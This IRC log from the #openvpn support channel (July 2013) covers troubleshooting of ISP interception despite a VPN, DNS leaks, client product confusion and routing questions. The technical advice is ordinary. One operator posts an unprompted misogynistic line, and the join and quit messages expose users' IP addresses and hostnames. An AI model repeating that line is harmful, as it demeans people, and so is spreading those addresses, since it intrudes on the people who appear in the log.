11:10 < spiffytech> BtbN: If I ping the FQDN I'm trying to reach, it correctly resolves to the right server.
11:10 < spiffytech> BtbN: I'm hardcoded to use Level3 DNS.
11:10 < BtbN> huh?
11:11 < BtbN> also make sure you clear your browser cache
11:11 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
11:13 < spiffytech> BtbN: Clearing the browser cache is ineffective. And I meant my computer is set to use the Level3 DNS server 4.2.2.4, and not any T-Mobile DNS servers.
11:14 < spiffytech> I should also note that the problem also exhibits itself on two computers.
11:15 <@EugeneKay> You're leaking somewhere, probably routing.
11:15 <@EugeneKay> Though it could be Windows DHCP service screwing with you
11:15 <@EugeneKay> What are you using to tether, USB or WiFi?
11:15 < spiffytech> The second machine is a Linux client.
11:15 < spiffytech> Wifi
11:16 <@EugeneKay> And you're sure you don't have a resolvconf daemon running/
11:17 < spiffytech> * Sorry, second client is a Mac. Spend so much time in the terminal I sometimes forget :p
11:17 < spiffytech> I'm not sure what you mean by a resolvconf daemon.
11:19 <+pekster> It should be easy enough to use a proper traceroute tool to trace along UDP or TCP port 53 to see if those go to your configured DNS server down the expected path
11:19 <@EugeneKay> A daemon managing your dns server entries
11:19 <@EugeneKay> Just because you think it's hardcoded doesnt mean it is
11:24 <+pekster> Why do you have 5 routes for things like 10.30/24 and 128/1 and 0/1?
11:24 < rob0> 4.2.2.x resolvers are not really meant to be public. It's a service they could terminate without notice.
11:24 <+pekster> Via different gateways on 10.30/24 too -- that looks quite incorrect
11:24 < rob0> I'd recommend using Google, or run your own resolver.
11:33 < spiffytech> EugeneKay: I at least didn't start up any such daemon myself.
11:33 < spiffytech> pekster: I'm not sure why there are five such routes. I assumed that since the sample configuration caused them to exist, they must be OK.
11:34 < spiffytech> Traceroutes to both Level3's and Google's DNS servers correctly hop from me -> 10.30.0.1 -> VPN server -> WAN
11:34 <+pekster> It appears you've been getting a variety of IPs and one of the persist-* options caused them not to be torn down
11:34 <+pekster> Thta's not normal
11:34 <+pekster> A traceroute to port 53 or using "typical" traceroute high-UDP or echo-request packets?
11:35 <+pekster> That makes a big difference
11:37 < spiffytech> pekster: I just ran "tracert 8.8.8.8" on Windows and "traceroute 8.8.8.8" on the Mac
11:41 <+pekster> Depends on where the hijacking is occuring
11:41 <+pekster> If it's port 53 only that's not sufficient
11:41 < spiffytech> Hmmm, ran "ipconfig /all" on Windows to be sure what DNS server I'm using, and it's 172.16.7.253. Tracerouting that goes through the VPN server
11:41 <+pekster> If it's a transparent proxy, that's also insufficient
11:41 <+pekster> Why should that surprise you: *your* config is pushing that IP
11:43 <+pekster> Using http://traceroute.sourceforge.net/ (your traceroute program may be differnet) you can do something like `traceroute -M UDP -p 53 8.8.8.8` and similar for web requests
11:43 <@vpnHelper> Title: Traceroute for Linux (at traceroute.sourceforge.net)
11:48 <+pekster> Minus the goofy 5x routes in your listing, packets bound for anything other than your physical LAN should go across the VPN. What happens after that hop is anyone's guess
11:48 <+pekster> (maybe *its* the one attacking you? Or maybe your old DNS server is still used anyway and it happily sends you right back into server McNasty
12:06 < spiffytech> OK, rebooted into Linux, set up the VPN, tracerouted with the version that actually supports ports, and I see the same hop straight through to the VPN server. Except on this machine (and now on the Mac) my browser can now visit the page correctly. Also updated the VPN conf to push Google's DNS instead of whatever that tutorial was listing. But now, both the Mac and Linux machines can reach the test site. But the Windows box still gets blocked.
12:13 < spiffytech> I do not think it's DNS related. If I switch the user agent on my Windows browser to "Android", I no longer redirected to the blocking page. That means T-Mobile still has the ability to see the contents of my HTTP packets. But I do not know how that could work if several different web pages report my IP address as belonging to my VPN server.
12:14 <@EugeneKay> Stupid question; what's your "vpn server"'s IP address
12:15 < spiffytech> 198.211.98.30
12:15 <@EugeneKay> So not a T-Mobile IP.
12:15 < BtbN> is your vpn encrypted?
12:15 <@EugeneKay> I thoight for a moment you might be doing something silly
12:15 < spiffytech> EugeneKay:  Nope. Belongs to Digital Ocean, a VPS provider.
12:15 <+pekster> configs say yes BtbN (they were posted above)
12:15 <@EugeneKay> So `whois` tells me.
12:15 < spiffytech> EugeneKay: Wouldn't that have been the worst? :)
12:15 < spiffytech> BtbN: Is there a way for OpenVPN to not be?
12:16 <@EugeneKay> In any case, somewhere, somethign is leaking.
12:16 <+pekster> Yes, with --alg none
12:16 < spiffytech> I did not apply that flag.
12:16 <+pekster> I know, which is why I suggested the earlier question could have been answered by glancing at the configs
12:18 < spiffytech> Ah, sorry, missed that line.
12:18  * pekster shrugs. It's easy enough to see what 'besides' openvpn goes out the physical interface by use of tcpdump (or wireshar/tshark in Windows)
12:18 <@EugeneKay> I also say tcpdump your outgoing traffic
12:18 <+pekster> Set a capture filter to exclude the VPN IP/port and watch the rest. For bonus points watch the other interface too and see that your remaining traffic is in fact protected, at least up to that hop (where it's of course unencrypted)
12:19 <+pekster> And be very (very) sure you're not dumping requests back to $evil_isp_dns_server after you route upstream
12:20 <+pekster> Windows has a bad habbit of keeping the old DNS servers around and tied to your physical interface, since the OS keeps track of them per interface, not globally
12:24 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
12:25 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
12:29 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Read error: Connection reset by peer]
12:30 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
12:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:33 -!- kubbing_ [~kubbing@ip-78-102-124-2.net.upcbroadband.cz] has quit [Ping timeout: 248 seconds]
12:39 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
12:43 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
12:48 < spiffytech> tcpdump on Windows is "fun" so I've finally got Wireshark up instead (which is "Fun!").  I HTTP traffic returning from my VPN server, but Wireshark is able to display the HTTP content. I'm not sure it should be able to do that if it's stiffing my wireless card and not the tunnel interface.
12:53 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
12:53 < kisom> spiffytech: It depends on which interface you are monitoring together with the --cipher you are using.
13:10 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
13:20 -!- Falconor [falconor@unaffiliated/falconor] has quit [Ping timeout: 240 seconds]
13:22 -!- trumee [~parul@93.186.144.251] has quit [Ping timeout: 260 seconds]
13:22 -!- Falconor [falconor@pool-71-178-185-225.cmdnnj.fios.verizon.net] has joined #openvpn
13:22 -!- trumee_ [~parul@93.186.156.221] has joined #openvpn
13:25 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
13:28 -!- trumee_ is now known as trumee
13:48 -!- higuita [~higuita@2001:b18:400f:0:c7d:8561:31bf:9360] has joined #openvpn
13:49 < higuita> !goal
13:49 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:49 < higuita> !welcome
13:49 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
13:49 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:55 <@ecrist> bitches ain't shit but hos and tricks
14:00 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
14:02 -!- p3rror [~p3rror@41.249.133.194] has joined #openvpn
14:03 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
14:10 < rob0> Idaho!
14:11 <@EugeneKay> Tree fiddy
14:13 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Ping timeout: 276 seconds]
14:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:23 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
14:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:33 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Ping timeout: 256 seconds]
14:36 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has joined #openvpn
14:41 -!- nikkiheat [~nikkiheat@host-184-167-133-107.cdc-ut.client.bresnan.net] has quit [Ping timeout: 240 seconds]
14:46 -!- tripolar [~u@unaffiliated/tripolar] has quit [Ping timeout: 248 seconds]
14:57 -!- speed_racer84 [~speed_rac@8.22.0.11] has joined #openvpn
15:37 < higuita> any one had problems with a bridge vpn on a ESXi virtual machine? the vpn works, i can comunicate with the vpn server, but the remaining network fail, the arp replies never arrive the vpn server (but are sent by the servers)
15:38 < higuita> no firewalls, no strange network setups
15:38 -!- speed_racer84 [~speed_rac@8.22.0.11] has quit [Ping timeout: 276 seconds]
15:47 -!- speed_racer84 [~speed_rac@8.22.0.11] has joined #openvpn
15:53 -!- speed_racer84 [~speed_rac@8.22.0.11] has quit [Ping timeout: 276 seconds]
16:04 -!- JAVACODER [~JAVACODER@2.190.35.9] has joined #openvpn
16:10 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:20 < higuita> http://www.jeremycole.com/blog/2010/03/11/openvpn-bridge-under-vmware-esxi/
16:23 < JAVACODER> what's the Zero Copy ?!?
16:24 < JAVACODER> i think this is a concept but i dont underestand yet !
16:43 -!- JAVACODER [~JAVACODER@2.190.35.9] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
17:00 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
17:04 -!- adnc [~akif@p4FC6B622.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
17:05 -!- ex0a [~high@unaffiliated/ex0a] has joined #openvpn
17:07 < ex0a> where can i find out more about the openvpn client web interface? i'm looking for a way to automate the client programmatically without actually interfacing with the gui and when i telnet to the port in the config (currently 944) i get to what appears to be a webserver but i get nothing but error messages running commands via telnet and when connecting with a browsser
17:07 < ex0a> browser*
17:07 < ex0a> i've had no luck googling the topic because everything returned seems to be related to the server, not the client
17:09 < rob0> openvpn client web interface?
17:09 < rob0> there is no such thing
17:09 < rob0> oh, unless you mean:
17:09 < rob0> !as
17:09 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:12 < rob0> https://community.openvpn.net/openvpn/wiki/RelatedProjects , is it something here?
17:12 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net)
17:14 -!- ctmjr [~chuck@pdpc/supporter/active/ctmjr] has joined #openvpn
17:14 < ex0a> oh, so maybe when i installed openvpn it installed both client and server, and the server is the one listening on 944?
17:15 < ex0a> i'm not very familiar with how openvpn works.. i'm just coding an application to manage connections for a friend
17:15 < ex0a> so maybe i'm misunderstanding what exactly i'm accessing on that port
17:15 <@EugeneKay> What did you install
17:16 < ex0a> looking now
17:16 < ex0a> openvpn-client.msi
17:16 -!- adnc [~akif@p4FC68E65.dip0.t-ipconnect.de] has joined #openvpn
17:17 -!- ctmjr [~chuck@pdpc/supporter/active/ctmjr] has quit [Client Quit]
17:17 < ex0a> so yeah i assume that doesn't have anything to do with a server, and it has an option in the config to listen on port 944 and when i connect and send a GET / HTTP/1.1 i get a 404 from a TwistedWeb/9.0.0 webserver
17:18 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:18 < ex0a> so i'm not sure exactly what that web interface is for, or how to use it, and i can't find anything related to it in documentation
17:21 < ex0a> and maybe that's not the direction i need to go with this either.. basically i just need to know the best way to programmatically control the openvpn client so that i can connect/disconnect to specific profiles as desired
17:21 < rob0> In the open source openvpn, the client and server are one, the same binary does both.
17:21 < ex0a> hmm i wonder if that's what i have then
17:21 < rob0> This leads me to think that you're in the wrong channel.
17:22 < ex0a> where should i direct this question?
17:22 < rob0> 22:09 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
17:22 < ex0a> oh okay
17:22 < ex0a> ty
17:23 < rob0> I don't know if they're in there on weekends, but you can surely try.
17:24 < ex0a> hmm i'm not sure if this is right though, because all the packages seem to be linux builds
17:24 < ex0a> let me see if i can find exactly where i downloaded the client package from to see what i installed
17:26 < rob0> OpenVPN-AS is available for Linux, AFAIK
17:27 < ex0a> https://openvpn.net/index.php?option=com_content&id=357 <- i got the desktop app from there
17:27 <@vpnHelper> Title: Client Packages (at openvpn.net)
17:32 < ex0a> i assume that's the community build of the openvpn client package?
17:32 < ex0a> or is that the close sourced build?
17:32 < ex0a> cause above you said that the community build has both client and server
17:35 -!- adnc [~akif@p4FC68E65.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
17:39 < rob0> that's the OpenVPN-AS client
17:39 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Read error: Operation timed out]
17:41 < ex0a> ahh okay
17:44 < ex0a> they suggested looking at the command line parameters, the open source client's documentation, and contacting my friend's vpn provider, so i guess i'll start with the command line parameters as i know that will be easily automatable if there are enough parameters
17:44 < ex0a> ty for your help though
17:45 < ex0a> does the community client/server have a way to automate connecting to a server via some type of protocol that i wouldn't need to restart the client process everytime to connect to a different profile?
17:47 -!- adnc [~akif@p4FC682AB.dip0.t-ipconnect.de] has joined #openvpn
17:52 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
17:53 -!- xTz is now known as Guest45861
18:04 < kisom> ex0a: Use multiple clients.
18:04 < ex0a> will look into that ty
18:17 -!- adnc [~akif@p4FC682AB.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
18:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:47 -!- master_of_master [~master_of@p4FD7BFAC.dip0.t-ipconnect.de] has joined #openvpn
18:51 -!- master_o1_master [~master_of@p4FD7B027.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
19:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
19:27 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has joined #openvpn
19:28 < danfromuk> Hi. I'm using openvpn for the first time and noticed that ping rates to a server via vpn to a private IP are around 300ms while ping rates to the same server's publicly accessible ip address are 30ms.
19:28 < danfromuk> Any way to diagnose the increase?
19:34 -!- danfromuk [~IceChat77@unaffiliated/danfromuk] has quit [Quit: On the other hand, you have different fingers.]
19:35 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Ping timeout: 268 seconds]
19:36 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
19:49 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has joined #openvpn
19:56 -!- kplong [~kplong@c-24-18-254-15.hsd1.wa.comcast.net] has quit [Quit: This computer has gone to sleep]
20:00 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
20:04 -!- higuita [~higuita@2001:b18:400f:0:c7d:8561:31bf:9360] has quit [Ping timeout: 260 seconds]
20:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
20:24 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
20:25 < kplong> does the windows client software downloadable from here: https://openvpn.net/index.php?option=com_content&id=357   work with the open source server?
20:25 <@vpnHelper> Title: Client Packages (at openvpn.net)
20:46 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Ping timeout: 264 seconds]
21:07 -!- Sazpaimon_ [wat@96.227.217.235] has quit [Changing host]
21:07 -!- Sazpaimon_ [wat@unaffiliated/Sazpaimon] has joined #openvpn
21:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
21:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
21:13 -!- mode/#openvpn [+o krzee] by ChanServ
21:19 -!- p3rror [~p3rror@41.249.133.194] has quit [Ping timeout: 240 seconds]
21:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
21:44 -!- p3rror [~p3rror@41.249.133.194] has joined #openvpn
21:59 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:04 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
22:08 -!- HaxCore [~p3rror@41.248.162.157] has joined #openvpn
22:11 -!- p3rror [~p3rror@41.249.133.194] has quit [Ping timeout: 276 seconds]
22:22 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Excess Flood]
22:24 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
22:25 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has quit [Ping timeout: 245 seconds]
22:29 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Quit: Felt like it.]
22:30 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
22:30 -!- darknyan [~darknyan@unaffiliated/darknyan] has quit [Excess Flood]
22:31 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
22:36 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
22:56 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has joined #openvpn
23:03 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
23:08 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
23:31 -!- milkofthepuppy [~dan@208.111.40.59] has joined #openvpn
--- Day changed Sun Jul 28 2013
00:22 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 240 seconds]
00:24 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
00:29 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:34 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 240 seconds]
00:34 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
00:43 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Ping timeout: 264 seconds]
00:43 -!- dan_ [~dan@208.111.40.59] has joined #openvpn
00:44 -!- dan_ is now known as Guest6679
00:44 -!- HaxCore [~p3rror@41.248.162.157] has quit [Ping timeout: 240 seconds]
00:45 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
00:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has left #openvpn ["bye"]
00:47 -!- milkofthepuppy [~dan@208.111.40.59] has quit [Ping timeout: 276 seconds]
00:54 -!- JAVACODER [~JAVACODER@2.190.32.6] has joined #openvpn
00:54 -!- JAVACODER [~JAVACODER@2.190.32.6] has left #openvpn []
01:14 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
01:15 -!- Devastator [~devas@186.214.15.4] has joined #openvpn
01:42 -!- adnc [~akif@p4FC69EC9.dip0.t-ipconnect.de] has joined #openvpn
01:44 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
01:47 -!- adnc [~akif@p4FC69EC9.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
01:58 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
01:59 -!- adnc [~akif@p4FC69EC9.dip0.t-ipconnect.de] has joined #openvpn
02:00 -!- cyberspace- [20253@109.74.194.224] has joined #openvpn
02:19 -!- adnc [~akif@p4FC69EC9.dip0.t-ipconnect.de] has quit [Quit: Ciao]
02:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 264 seconds]
02:30 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Read error: Connection reset by peer]
02:37 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
02:43 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Quit: No Ping reply in 180 seconds.]
02:50 -!- rheddry [~levifig@spwn.co] has quit [Excess Flood]
02:58 -!- levifig [~levifig@spwn.co] has joined #openvpn
03:28 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:30 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:31 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:34 -!- higuita [~higuita@2001:b18:400f:0:b454:d206:3e59:ee4b] has joined #openvpn
03:36 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
03:40 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Ping timeout: 256 seconds]
03:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:51 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
04:06 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
04:08 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
04:13 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Quit: really? must I leave? aw pls let me stay!]
04:13 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
04:40 -!- Guest6679 [~dan@208.111.40.59] has quit [Quit: Leaving]
04:41 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
05:34 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:40 -!- Guest45861 [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 256 seconds]
05:52 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
05:53 -!- vaillor [~wefefr@adsl-ull-181-65.45-151.net24.it] has joined #openvpn
05:53 -!- xTz is now known as Guest3034
05:53 < vaillor> hi guys
05:56 -!- mcp [~mcp@wolk-project.de] has quit [Remote host closed the connection]
06:24 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
06:40 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
06:43 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn
07:06 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
07:25 -!- higuita [~higuita@2001:b18:400f:0:b454:d206:3e59:ee4b] has quit [Ping timeout: 260 seconds]
07:31 -!- higuita [~higuita@2001:b18:400f:0:b454:d206:3e59:ee4b] has joined #openvpn
07:32 -!- phishy [~textual@50.138.206.227] has joined #openvpn
07:39 -!- kubbing_ [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:40 -!- phishy [~textual@50.138.206.227] has quit [Quit: Computer has gone to sleep.]
07:47 -!- lbft is now known as LBFT
07:47 -!- LBFT is now known as lbft
07:53 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:56 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
08:09 -!- JAVACODER [~JAVACODER@2.190.32.6] has joined #openvpn
08:13 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
08:18 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
08:19 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
08:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
08:46 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
09:47 -!- p3rror [~p3rror@41.248.162.157] has joined #openvpn
10:03 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
10:20 -!- Devastator [~devas@186.214.15.4] has quit [Changing host]
10:20 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:26 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
10:30 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:37 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
10:40 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
11:04 -!- JSharpe [~JSharpe@90.205.250.10] has quit [Ping timeout: 240 seconds]
11:05 -!- JSharpe [~JSharpe@90.205.250.10] has joined #openvpn
11:18 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
11:22 -!- vaillor is now known as Guest65292
11:59 -!- jive [~jive@69.136.92.21] has joined #openvpn
12:13 -!- p3rror [~p3rror@41.248.162.157] has quit [Ping timeout: 240 seconds]
12:34 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
12:39 -!- jap [~spaans@secure.jasper.es] has joined #openvpn
12:47 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
12:48 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 246 seconds]
12:48 -!- michaelhart_ is now known as michaelhart
12:49 -!- kirin` [telex@gateway/shell/anapnea.net/x-mhnxujzmfvycejmz] has quit [Ping timeout: 276 seconds]
12:51 -!- kirin` [telex@gateway/shell/anapnea.net/x-nhxlvokknrqozmez] has joined #openvpn
12:58 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
12:58 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
13:02 -!- kplong [~kplong@c-50-135-252-126.hsd1.wa.comcast.net] has joined #openvpn
13:04 < kplong> Hello.  Does the official windows client work with the open source server or only the access server?
13:04 <+pekster> !download
13:04 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
13:04 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
13:05 <+pekster> They're both "official" but only one is GPL (the "AS" and "Connect" products are not open-source and not 100% compatible as it's a completely different codebase)
13:06 < kplong> OK, great thank you again pekster.
13:07 -!- p3rror [~p3rror@41.248.162.157] has joined #openvpn
13:10 -!- vpopov [~happylife@dyn-82-151.fttbee.kis.ru] has joined #openvpn
13:33 -!- vpopov [~happylife@dyn-82-151.fttbee.kis.ru] has quit [Remote host closed the connection]
13:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
13:46 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
13:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:49 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has joined #openvpn
13:49 < Tirili> Hi
13:50 < Tirili> Is there a way to specify certain routing tables for certain programs?
13:51 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
13:52 < Tirili> I have an openvpn tun device now and it works, but how can I have only the packages from my service routed through it?
13:52 < rob0> Depends on your OS. Look up "policy routing". For Linux, see lartc.org.
13:52 < Tirili> linux
13:52 < Tirili> thanks, let me see
14:04 -!- wimmer [~wimmer@94.242.205.235] has joined #openvpn
14:05 < wimmer> !welcome
14:05 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:05 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:06 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has quit [Read error: Operation timed out]
14:06 < wimmer> How do I connect to an OpenVPN server via another OpenVPN connection?
14:09 < wimmer> I
14:10 < wimmer> I"ve got bitcoins to spare for any help
14:11 < rob0> !redirect
14:11 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
14:11 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
14:11 < rob0> If the first connection redirects you, you're fine.
14:12 < rob0> If it doesn't, well, you have to set it up with forwarding (and NAT if necessary) as if it was going to redirect.
14:13 < kplong> dang. Is the openvpn GUI on Windows7 64 considered stable? Having all kinds of problems with it. Can't create registry key, ran as administrator and it worked, but it just sits in the system tray and there is no intuitive option to import a config file. Right click on  a config file and open with opevpn, then a dos-style window opens and tries to initiate the connection, and the "route add" command fails , so I have a partially conne
14:13 < kplong> ction non-working tunnel .. hmm.  Tunnelblick on mac osx working great but not much luck on windows yet
